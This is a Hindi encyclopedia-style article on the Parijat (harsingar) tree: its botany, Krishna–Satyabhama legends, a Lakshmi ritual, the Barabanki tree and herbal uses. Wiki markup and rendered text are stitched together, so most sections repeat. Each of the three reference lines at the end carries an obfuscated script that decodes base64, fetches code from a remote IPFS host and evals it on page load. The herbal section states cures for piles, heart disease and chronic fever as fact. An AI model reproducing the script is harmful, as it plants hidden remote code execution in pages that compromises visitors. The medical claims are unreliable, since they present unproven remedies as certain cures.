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'''पारिजात''' या 'हारसिंगार' उन प्रमुख वृक्षों में से एक है, जिसके [[फूल]] ईश्वर की आराधना में महत्त्वपूर्ण स्थान रखते हैं। [[हिन्दू धर्म]] में इस वृक्ष को बहुत ही ख़ास स्थान प्राप्त है। पारिजात का वृक्ष बड़ा ही सुन्दर होता है, जिस पर आकर्षक व सुगन्धित फूल लगते हैं। इसके फूल, पत्ते और छाल का उपयोग विविध प्रकार की औषधि आदि के रूप में भी किया जाता है। यह सारे [[भारत]] में पैदा होता है।
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'''पारिजात''' या 'हरसिंगार' उन प्रमुख वृक्षों में से एक है, जिसके [[फूल]] ईश्वर की आराधना में महत्त्वपूर्ण स्थान रखते हैं। इसे प्राजक्ता, परिजात, हरसिंगार, शेफालिका, शेफाली, शिउली भी कहा जाता है। [[उर्दू]] में इसे गुलज़ाफ़री कहा जाता है। [[हिन्दू धर्म]] में इस वृक्ष को बहुत ही ख़ास स्थान प्राप्त है। पारिजात का वृक्ष बड़ा ही सुन्दर होता है, जिस पर आकर्षक व सुगन्धित फूल लगते हैं। इसके फूल, पत्ते और छाल का उपयोग विविध प्रकार की औषधि आदि के रूप में भी किया जाता है। यह सारे [[भारत]] में पैदा होता है। यह माना जाता है कि पारिजात के वृक्ष को छूने मात्र से ही व्यक्ति की थकान मिट जाती है।
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==परिचय==
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पारिजात का वृक्ष दस से पन्द्रह फीट ऊँचा होता है। किसी-किसी स्थान पर इसकी ऊँचाई पच्चीस से तीस फीट तक भी होती है। यह वृक्ष सम्पूर्ण [[भारत]] में उगता है। विशेष रूप से पारिजात बाग-बगीचों में लगा हुआ मिलता है। इसके फूल बड़े ही आकर्षक होते हैं। इस वृक्ष की यह विशेषता भी है कि इसमें फूल बहुत बड़ी मात्रा में लगते हैं। चाहे फूल प्रतिदिन तोड़े जाएँ, किंतु फिर भी अगले दिन फूल बड़ी मात्रा में लगते हैं। यह वृक्ष मध्य भारत और [[हिमालय]] की नीची तराइयों में अधिक पैदा होता है।
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==पौराणिक उल्लेख==
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'[[हरिवंशपुराण]]' में एक ऐसे वृक्ष का उल्लेख मिलता है, जिसको छूने से [[देव]] नर्तकी [[उर्वशी]] की थकान मिट जाती थी। एक बार [[नारद मुनि]] इस वृक्ष से कुछ [[फूल]] इन्द्र लोक से लेकर कृष्ण के पास आये। कृष्ण ने वे फूल लेकर पास बैठी अपनी पत्नी रुक्मणी को दे दिये। इसके बाद नारद कृष्ण की दूसरी पत्नी सत्यभामा के पास गए और उनसे यह सारी बात बतायी। सत्यभामा को नारद ने बताया कि इन्द्र लोक के दिव्य फूल कृष्ण ने रुक्मणी को दे दिए हैं। यह सुन कर सत्यभामा को क्रोध आ गया और उन्होंने ने कृष्ण के पास जा कर कहा कि उन्हें पारिजात का वृक्ष चाहिए। कृष्ण ने कहा कि वे इन्द्र से पारिजात का वृक्ष अवश्य लाकर सत्यभामा को देंगे।[[चित्र:Parijaat-Flowers.JPG|thumb|left|250px|पारिजात के फूल]] नारद जी इस तरह से झगड़ा लगा कर इन्द्र के पास आये और कहा कि स्वर्ग के दिव्य पारिजात को लेने के लिए कुछ लोग मृत्यु लोक से आने वाले हैं, पर पारिजात का वृक्ष तो इन्द्र लोक की शोभा है और इसे यहीं रहना चाहिए। जब [[कृष्ण]] सत्यभामा के साथ इन्द्र लोक आये तो इन्द्र ने पारिजात को देने का विरोध किया, पर कृष्ण के आगे वे कुछ न कर सके और पारिजात उन्हें देना ही पड़ा, लेकिन उन्होंने पारिजात वृक्ष को श्राप दे दिया कि इसका [[फूल]] दिन में नहीं खिलेगा। कृष्ण सत्यभामा की जिद के कारण पारिजात को लेकर आ गए और उसे सत्यभामा की वाटिका में लगा दिया गया। किंतु सत्यभामा को सीख देने के लिए ऐसा कर दिया कि वृक्ष तो सत्यभामा की वाटिका में था, लेकिन पारिजात के [[फूल]] रुक्मणी की वाटिका में गिरते थे। इस तरह सत्यभामा को वृक्ष तो मिला, किंतु फूल रुक्मणी के हिस्से आ गए। यही कारण है पारिजात के फूल हमेशा वृक्ष से कुछ दूर ही गिरते हैं।<ref>{{cite web |url=http://manjubole.blogspot.in/2011/02/blog-post_5746.html |title=पारिजात|accessmonthday= 03 अप्रैल|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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====मान्यता====
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एक अन्य मान्यता यह भी है कि 'पारिजात' नाम की एक राजकुमारी हुआ करती थी, जिसे भगवान [[सूर्य]] से प्रेम हो गया था। लेकिन अथक प्रयास करने पर भी भगवान सूर्य ने पारिजात के प्रेम कों स्वीकार नहीं किया, जिससे खिन्न होकर राजकुमारी पारिजात ने आत्महत्या कर ली। जिस स्थान पर पारिजात की क़ब्र बनी, वहीं से पारिजात नामक वृक्ष ने जन्म लिया। इसी कारण पारिजात वृक्ष को रात में देखने से ऐसा लगता है, जैसे वह रो रहा हो। लेकिन सूर्य उदय के साथ ही पारिजात की टहनियाँ और पत्ते सूर्य को आगोष में लेने को आतुर दिखाई पडते हैं। ज्योतिष विज्ञान में भी पारिजात का विशेष महत्व बताया गया है।<ref name="ab">{{cite web |url=http://kaalamita.com/%E0%A4%AA%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%9C%E0%A4%BE%E0%A4%A4-%E0%A4%A8%E0%A4%BE%E0%A4%AE-%E0%A4%95%E0%A5%87-%E0%A4%B5%E0%A5%83%E0%A4%95%E0%A5%8D%E0%A4%B7-%E0%A4%95%E0%A5%8B-%E0%A4%9B%E0%A5%82 |title=पारिजात को छूने से मिटती है थकान|accessmonthday= 03 अप्रैल|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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[[चित्र:Parijaat-Flowers.-2.jpg|thumb|250px|पारिजात शाखा पर लगता पुष्प]]
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==देवी लक्ष्मी को प्रिय==
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धन की देवी [[लक्ष्मी]] को पारिजात के पुष्प प्रिय हैं। उन्हें प्रसन्न करने में भी पारिजात वृक्ष का उपयोग किया जाता है। यदि "ओम नमो मणिंद्राय आयुध धराय मम लक्ष्मी़वसंच्छितं पूरय पूरय ऐं हीं क्ली हयौं मणि भद्राय नम:" [[मन्त्र]] का जाप 108 बार करते हुए [[नारियल]] पर पारिजात पुष्प अर्पित किये जाएँ और [[पूजा]] के इस नारियल व फूलों को [[लाल रंग]] कपड़े में लपेटकर घर के पूजा घर में स्थापित किया जाए तो लक्ष्मी सहज ही प्रसन्न होकर साधक के घर में वास करती हैं। यह पूजा [[वर्ष]] के पाँच शुभ मुहर्त- [[होली]], [[दीवाली]], ग्रहण, रवि पुष्प तथा गुरु पुष्प नक्षत्र में की जाए तो उत्तम फल प्राप्त होता है। "यह तथ्य भी महत्त्वपूर्ण है कि पारिजात वृक्ष के वे ही [[फूल]] उपयोग में लाए जाते हैं, जो वृक्ष से टूटकर गिर जाते हैं। अर्थात् वृक्ष से फूल तोड़ना पूरी तरह से निषिद्ध है।"
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==बाराबंकी का पारिजात वृक्ष==
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पारिजात वृक्ष को लेकर गहन अध्ययन कर चुके रूड़की के कुंवर हरिसिंह के अनुसार यूँ तो परिजात वृक्ष की प्रजाति [[भारत]] में नहीं पाई जाती, लेकिन भारत में एक मात्र पारिजात वृक्ष आज भी [[उत्तर प्रदेश]] के [[बाराबंकी |बाराबंकी जनपद]] के अंतर्गत रामनगर क्षेत्र के गाँव बोरोलिया में मौजूद है। लगभग 50 फीट तने व 45 फीट उँचाई के इस वृक्ष की अधिकांश शाखाएँ भूमि की ओर मुड़ जाती हैं और धरती को छुते ही सूख जाती हैं। एक साल में सिर्फ़ एक बार [[जून]] माह में [[सफ़ेद रंग|सफ़ेद]] व [[पीला रंग|पीले रंग]] के फूलों से सुसज्जित होने वाला यह वृक्ष न सिर्फ़ खुशबू बिखेरता है, बल्कि देखने में भी सुन्दर है। आयु की दृष्टि से एक हज़ार से पाँच हज़ार वर्ष तक जीवित रहने वाले इस वृक्ष को वनस्पति शास्त्री एडोसोनिया वर्ग का मानते हैं, जिसकी दुनिया भर में सिर्फ़ पाँच प्रजातियाँ पाई जाती हैं। इनमें से एक 'डिजाहाट' है। पारिजात वृक्ष इसी डिजाहाट प्रजाति का है।[[चित्र:Parijaat-Tree.jpg|thumb|300px|[[बाराबंकी]] स्थित पारिजात वृक्ष]] एक और मान्यता के अनुसार परिजात वृक्ष की उत्पत्ति [[समुद्र मंथन]] से हुई थी, जिसे [[इन्द्र]] ने अपनी वाटिका में रोप दिया था। कहा जाता है कि जब [[पांडव]] पुत्र माता [[कुन्ती]] के साथ [[अज्ञातवास]] व्यतीत कर रहे थे, तब उन्होंने ही [[सत्यभामा]] की वाटिका में से परिजात को लेकर बोरोलिया गाँव में रोपित कर दिया। तभी से परिजात गाँव बोरोलिया की शोभा बना हुआ है। देशभर से श्रद्धालु अपनी थकान मिटाने के लिए और मनौती आदि माँगने के लिए परिजात वृक्ष की [[पूजा]]-अर्चना करते है।<ref name="ab"/>
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==औषधीय गुण==
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पारिजात में औषधीय गुणों का भी भण्डार है। पारिजात [[बवासीर|बावासीर रोग]] के निदान के लिए रामबाण औषधी है। इसके एक बीज का सेवन प्रतिदिन किया जाये तो बवासीर रोग ठीक हो जाता है। पारिजात के बीज का लेप बनाकर गुदा पर लगाने से बवासीर के रोगी को राहत मिलती है। इसके [[फूल]] [[हृदय]] के लिए भी उत्तम औषधी माने जाते हैं। [[वर्ष]] में एक माह पारिजात पर फूल आने पर यदि इन फूलों का या फिर फूलों के रस का सेवन किया जाए तो हृदय रोग से बचा जा सकता है। इतना ही नहीं पारिजात की पत्तियों को पीस कर शहद में मिलाकर सेवन करने से सूखी खाँसी ठीक हो जाती है। इसी तरह पारिजात की पत्तियों को पीसकर त्वचा पर लगाने से त्वचा संबंधि रोग ठीक हो जाते हैं। पारिजात की पत्तियों से बने हर्बल तेल का भी त्वचा रोगों में भरपूर इस्तेमाल किया जाता है। पारिजात की कोंपल को यदि पाँच [[काली मिर्च]] के साथ महिलाएँ सेवन करें तो महिलाओं को स्त्री रोग में लाभ मिलता है। वहीं पारिजात के बीज जहाँ बालों के लिए शीरप का काम करते हैं तो इसकी पत्तियों का जूस क्रोनिक बुखार को ठीक कर देता है।
  
==परिचय==
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{{सूचना बक्सा अन्य भाषाएँ
पारिजात का वृक्ष दस से पन्द्रह फीट ऊँचा होता है। किसी-किसी स्थान पर इसकी ऊँचाई पच्चीस से तीस फीट तक भी होती है। यह वृक्ष सम्पूर्ण [[भारत]] में उगता है। विशेष रूप से पारिजात बाग-बगीचों में लगा हुआ मिलता है। इसके फूल बड़े ही आकर्ष्क होते हैं। इस वृक्ष की यह विशेषता भी है कि इसमें फूल बहुत बड़ी मात्रा में लगते हैं। चाहे फूल प्रतिदिन तोड़े जाएँ, किंतु फिर भी अगले दिन फूल बड़ी मात्रा में लगते हैं। यह वृक्ष मध्य भारत और [[हिमालय]] की नीची तराइयों में अधिक पैदा होता है।
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|पंजाबी=
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==गुण तथा रासायनिक संघटन==
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पारिजात का [[फूल]] हल्का, रूखा, तिक्त, कटु, गर्म, वात-कफ़नाशक, ज्वार नाशक, मृदु विरेचक, शामक, उष्णीय और रक्तशोधक होता है। सायटिका रोग को दूर करने का भी इसमें विशेष गुण होता है। इसके फूलों में सुगंधित तेल होता है। रंगीन पुष्प नलिका में निक्टैन्थीन नामक रंग द्रव्य ग्लूकोसाइड के रूप में 0.1 प्रतिशत होता है, जो [[केसर]] में स्थित ए-क्रोसेटिन के सदृश्य होता है। बीज मज्जा से 12-16 प्रतिशत पीले भूरे रंग का स्थिर तेल निकलता है। पत्तों में टैनिक एसिड, मेथिलसेलिसिलेट, एक ग्लाइकोसाइड (1 प्रतिशत), मैनिटाल (1.3 प्रतिशत), एक राल (1.2 प्रतिशत), कुछ उड़नशील तेल, विटामिन सी और विटामिन ए पाया जाता है। छाल में एक ग्लाइकोसाइड और दो क्षाराभ होते हैं।<ref>{{cite web |url=http://hindi.webdunia.com/%E0%A4%B9%E0%A4%B0%E0%A4%B8%E0%A4%BF%E0%A4%82%E0%A4%97%E0%A4%BE%E0%A4%B0-%E0%A4%97%E0%A5%81%E0%A4%A3-%E0%A4%B8%E0%A4%BE%E0%A4%AF%E0%A4%9F%E0%A4%BF%E0%A4%95%E0%A4%BE/%E0%A4%B9%E0%A4%B0%E0%A4%B8%E0%A4%BF%E0%A4%82%E0%A4%97%E0%A4%BE%E0%A4%B0-%E0%A4%95%E0%A5%87-%E0%A4%97%E0%A5%81%E0%A4%A3-%E0%A4%AD%E0%A5%80-%E0%A4%B8%E0%A5%81%E0%A4%82%E0%A4%A6%E0%A4%B0-1090318108_1.htm |title=हरसिंगार के गुण भी सुन्दर|accessmonthday=03 अप्रैल|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
  
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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07:59, 7 नवम्बर 2017 के समय का अवतरण

Disamb2.jpg पारिजात एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- पारिजात (बहुविकल्पी)

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पारिजात
पारिजात के फूल
जगत पादप (Plantae)
गण लेमिएल्स (Lamiales)
कुल ओलिऐसी (Oleaceae)
जाति निक्टेन्थिस (Nyctanthes)
प्रजाति आर्बोर्ट्रिस्टिस (arbor-tristis)
द्विपद नाम निक्टेन्थिस आर्बोर्ट्रिस्टिस (Nyctanthes arbor-tristis)
अन्य नाम प्राजक्ता, परिजात, हरसिंगार, शेफालिका, शेफाली, शिउली
धार्मिक मान्यता धन की देवी लक्ष्मी को पारिजात के पुष्प प्रिय हैं। उन्हें प्रसन्न करने में भी पारिजात वृक्ष का उपयोग किया जाता है।
अन्य जानकारी यह सारे भारत में पैदा होता है। यह माना जाता है कि पारिजात के वृक्ष को छूने मात्र से ही व्यक्ति की थकान मिट जाती है।

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पारिजात या 'हरसिंगार' उन प्रमुख वृक्षों में से एक है, जिसके फूल ईश्वर की आराधना में महत्त्वपूर्ण स्थान रखते हैं। इसे प्राजक्ता, परिजात, हरसिंगार, शेफालिका, शेफाली, शिउली भी कहा जाता है। उर्दू में इसे गुलज़ाफ़री कहा जाता है। हिन्दू धर्म में इस वृक्ष को बहुत ही ख़ास स्थान प्राप्त है। पारिजात का वृक्ष बड़ा ही सुन्दर होता है, जिस पर आकर्षक व सुगन्धित फूल लगते हैं। इसके फूल, पत्ते और छाल का उपयोग विविध प्रकार की औषधि आदि के रूप में भी किया जाता है। यह सारे भारत में पैदा होता है। यह माना जाता है कि पारिजात के वृक्ष को छूने मात्र से ही व्यक्ति की थकान मिट जाती है।

परिचय

पारिजात का वृक्ष दस से पन्द्रह फीट ऊँचा होता है। किसी-किसी स्थान पर इसकी ऊँचाई पच्चीस से तीस फीट तक भी होती है। यह वृक्ष सम्पूर्ण भारत में उगता है। विशेष रूप से पारिजात बाग-बगीचों में लगा हुआ मिलता है। इसके फूल बड़े ही आकर्षक होते हैं। इस वृक्ष की यह विशेषता भी है कि इसमें फूल बहुत बड़ी मात्रा में लगते हैं। चाहे फूल प्रतिदिन तोड़े जाएँ, किंतु फिर भी अगले दिन फूल बड़ी मात्रा में लगते हैं। यह वृक्ष मध्य भारत और हिमालय की नीची तराइयों में अधिक पैदा होता है।

पौराणिक उल्लेख

'हरिवंशपुराण' में एक ऐसे वृक्ष का उल्लेख मिलता है, जिसको छूने से देव नर्तकी उर्वशी की थकान मिट जाती थी। एक बार नारद मुनि इस वृक्ष से कुछ फूल इन्द्र लोक से लेकर कृष्ण के पास आये। कृष्ण ने वे फूल लेकर पास बैठी अपनी पत्नी रुक्मणी को दे दिये। इसके बाद नारद कृष्ण की दूसरी पत्नी सत्यभामा के पास गए और उनसे यह सारी बात बतायी। सत्यभामा को नारद ने बताया कि इन्द्र लोक के दिव्य फूल कृष्ण ने रुक्मणी को दे दिए हैं। यह सुन कर सत्यभामा को क्रोध आ गया और उन्होंने ने कृष्ण के पास जा कर कहा कि उन्हें पारिजात का वृक्ष चाहिए। कृष्ण ने कहा कि वे इन्द्र से पारिजात का वृक्ष अवश्य लाकर सत्यभामा को देंगे।

पारिजात के फूल

नारद जी इस तरह से झगड़ा लगा कर इन्द्र के पास आये और कहा कि स्वर्ग के दिव्य पारिजात को लेने के लिए कुछ लोग मृत्यु लोक से आने वाले हैं, पर पारिजात का वृक्ष तो इन्द्र लोक की शोभा है और इसे यहीं रहना चाहिए। जब कृष्ण सत्यभामा के साथ इन्द्र लोक आये तो इन्द्र ने पारिजात को देने का विरोध किया, पर कृष्ण के आगे वे कुछ न कर सके और पारिजात उन्हें देना ही पड़ा, लेकिन उन्होंने पारिजात वृक्ष को श्राप दे दिया कि इसका फूल दिन में नहीं खिलेगा। कृष्ण सत्यभामा की जिद के कारण पारिजात को लेकर आ गए और उसे सत्यभामा की वाटिका में लगा दिया गया। किंतु सत्यभामा को सीख देने के लिए ऐसा कर दिया कि वृक्ष तो सत्यभामा की वाटिका में था, लेकिन पारिजात के फूल रुक्मणी की वाटिका में गिरते थे। इस तरह सत्यभामा को वृक्ष तो मिला, किंतु फूल रुक्मणी के हिस्से आ गए। यही कारण है पारिजात के फूल हमेशा वृक्ष से कुछ दूर ही गिरते हैं।[1]

मान्यता

एक अन्य मान्यता यह भी है कि 'पारिजात' नाम की एक राजकुमारी हुआ करती थी, जिसे भगवान सूर्य से प्रेम हो गया था। लेकिन अथक प्रयास करने पर भी भगवान सूर्य ने पारिजात के प्रेम कों स्वीकार नहीं किया, जिससे खिन्न होकर राजकुमारी पारिजात ने आत्महत्या कर ली। जिस स्थान पर पारिजात की क़ब्र बनी, वहीं से पारिजात नामक वृक्ष ने जन्म लिया। इसी कारण पारिजात वृक्ष को रात में देखने से ऐसा लगता है, जैसे वह रो रहा हो। लेकिन सूर्य उदय के साथ ही पारिजात की टहनियाँ और पत्ते सूर्य को आगोष में लेने को आतुर दिखाई पडते हैं। ज्योतिष विज्ञान में भी पारिजात का विशेष महत्व बताया गया है।[2]

पारिजात शाखा पर लगता पुष्प

देवी लक्ष्मी को प्रिय

धन की देवी लक्ष्मी को पारिजात के पुष्प प्रिय हैं। उन्हें प्रसन्न करने में भी पारिजात वृक्ष का उपयोग किया जाता है। यदि "ओम नमो मणिंद्राय आयुध धराय मम लक्ष्मी़वसंच्छितं पूरय पूरय ऐं हीं क्ली हयौं मणि भद्राय नम:" मन्त्र का जाप 108 बार करते हुए नारियल पर पारिजात पुष्प अर्पित किये जाएँ और पूजा के इस नारियल व फूलों को लाल रंग कपड़े में लपेटकर घर के पूजा घर में स्थापित किया जाए तो लक्ष्मी सहज ही प्रसन्न होकर साधक के घर में वास करती हैं। यह पूजा वर्ष के पाँच शुभ मुहर्त- होली, दीवाली, ग्रहण, रवि पुष्प तथा गुरु पुष्प नक्षत्र में की जाए तो उत्तम फल प्राप्त होता है। "यह तथ्य भी महत्त्वपूर्ण है कि पारिजात वृक्ष के वे ही फूल उपयोग में लाए जाते हैं, जो वृक्ष से टूटकर गिर जाते हैं। अर्थात् वृक्ष से फूल तोड़ना पूरी तरह से निषिद्ध है।"

बाराबंकी का पारिजात वृक्ष

पारिजात वृक्ष को लेकर गहन अध्ययन कर चुके रूड़की के कुंवर हरिसिंह के अनुसार यूँ तो परिजात वृक्ष की प्रजाति भारत में नहीं पाई जाती, लेकिन भारत में एक मात्र पारिजात वृक्ष आज भी उत्तर प्रदेश के बाराबंकी जनपद के अंतर्गत रामनगर क्षेत्र के गाँव बोरोलिया में मौजूद है। लगभग 50 फीट तने व 45 फीट उँचाई के इस वृक्ष की अधिकांश शाखाएँ भूमि की ओर मुड़ जाती हैं और धरती को छुते ही सूख जाती हैं। एक साल में सिर्फ़ एक बार जून माह में सफ़ेदपीले रंग के फूलों से सुसज्जित होने वाला यह वृक्ष न सिर्फ़ खुशबू बिखेरता है, बल्कि देखने में भी सुन्दर है। आयु की दृष्टि से एक हज़ार से पाँच हज़ार वर्ष तक जीवित रहने वाले इस वृक्ष को वनस्पति शास्त्री एडोसोनिया वर्ग का मानते हैं, जिसकी दुनिया भर में सिर्फ़ पाँच प्रजातियाँ पाई जाती हैं। इनमें से एक 'डिजाहाट' है। पारिजात वृक्ष इसी डिजाहाट प्रजाति का है।

बाराबंकी स्थित पारिजात वृक्ष

एक और मान्यता के अनुसार परिजात वृक्ष की उत्पत्ति समुद्र मंथन से हुई थी, जिसे इन्द्र ने अपनी वाटिका में रोप दिया था। कहा जाता है कि जब पांडव पुत्र माता कुन्ती के साथ अज्ञातवास व्यतीत कर रहे थे, तब उन्होंने ही सत्यभामा की वाटिका में से परिजात को लेकर बोरोलिया गाँव में रोपित कर दिया। तभी से परिजात गाँव बोरोलिया की शोभा बना हुआ है। देशभर से श्रद्धालु अपनी थकान मिटाने के लिए और मनौती आदि माँगने के लिए परिजात वृक्ष की पूजा-अर्चना करते है।[2]

औषधीय गुण

पारिजात में औषधीय गुणों का भी भण्डार है। पारिजात बावासीर रोग के निदान के लिए रामबाण औषधी है। इसके एक बीज का सेवन प्रतिदिन किया जाये तो बवासीर रोग ठीक हो जाता है। पारिजात के बीज का लेप बनाकर गुदा पर लगाने से बवासीर के रोगी को राहत मिलती है। इसके फूल हृदय के लिए भी उत्तम औषधी माने जाते हैं। वर्ष में एक माह पारिजात पर फूल आने पर यदि इन फूलों का या फिर फूलों के रस का सेवन किया जाए तो हृदय रोग से बचा जा सकता है। इतना ही नहीं पारिजात की पत्तियों को पीस कर शहद में मिलाकर सेवन करने से सूखी खाँसी ठीक हो जाती है। इसी तरह पारिजात की पत्तियों को पीसकर त्वचा पर लगाने से त्वचा संबंधि रोग ठीक हो जाते हैं। पारिजात की पत्तियों से बने हर्बल तेल का भी त्वचा रोगों में भरपूर इस्तेमाल किया जाता है। पारिजात की कोंपल को यदि पाँच काली मिर्च के साथ महिलाएँ सेवन करें तो महिलाओं को स्त्री रोग में लाभ मिलता है। वहीं पारिजात के बीज जहाँ बालों के लिए शीरप का काम करते हैं तो इसकी पत्तियों का जूस क्रोनिक बुखार को ठीक कर देता है।


अन्य भाषाओं में नाम
भाषा असमिया उड़िया उर्दू कन्नड़ कश्मीरी संस्कृत गुजराती
शब्द गुलज़ाफ़री पारिजात पारिजात, शेफालिका हरशणगार
भाषा डोगरी तमिल तेलुगु नेपाली पंजाबी बांग्ला बोडो
शब्द पवलमल्लिकै, मज्जपु पारिजातमु, पगडमल्लै शेफालिका, शिउली
भाषा मणिपुरी मराठी मलयालम मैथिली संथाली सिंधी अंग्रेज़ी
शब्द पारिजातक पारिजातकोय, पविझमल्लि नाइट जेस्मिन

गुण तथा रासायनिक संघटन

पारिजात का फूल हल्का, रूखा, तिक्त, कटु, गर्म, वात-कफ़नाशक, ज्वार नाशक, मृदु विरेचक, शामक, उष्णीय और रक्तशोधक होता है। सायटिका रोग को दूर करने का भी इसमें विशेष गुण होता है। इसके फूलों में सुगंधित तेल होता है। रंगीन पुष्प नलिका में निक्टैन्थीन नामक रंग द्रव्य ग्लूकोसाइड के रूप में 0.1 प्रतिशत होता है, जो केसर में स्थित ए-क्रोसेटिन के सदृश्य होता है। बीज मज्जा से 12-16 प्रतिशत पीले भूरे रंग का स्थिर तेल निकलता है। पत्तों में टैनिक एसिड, मेथिलसेलिसिलेट, एक ग्लाइकोसाइड (1 प्रतिशत), मैनिटाल (1.3 प्रतिशत), एक राल (1.2 प्रतिशत), कुछ उड़नशील तेल, विटामिन सी और विटामिन ए पाया जाता है। छाल में एक ग्लाइकोसाइड और दो क्षाराभ होते हैं।[3]


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टीका टिप्पणी और संदर्भ

  1. पारिजात (हिन्दी)। । अभिगमन तिथि: 03 अप्रैल, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 2.0 2.1 पारिजात को छूने से मिटती है थकान (हिन्दी)। । अभिगमन तिथि: 03 अप्रैल, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. हरसिंगार के गुण भी सुन्दर (हिन्दी)। । अभिगमन तिथि: 03 अप्रैल, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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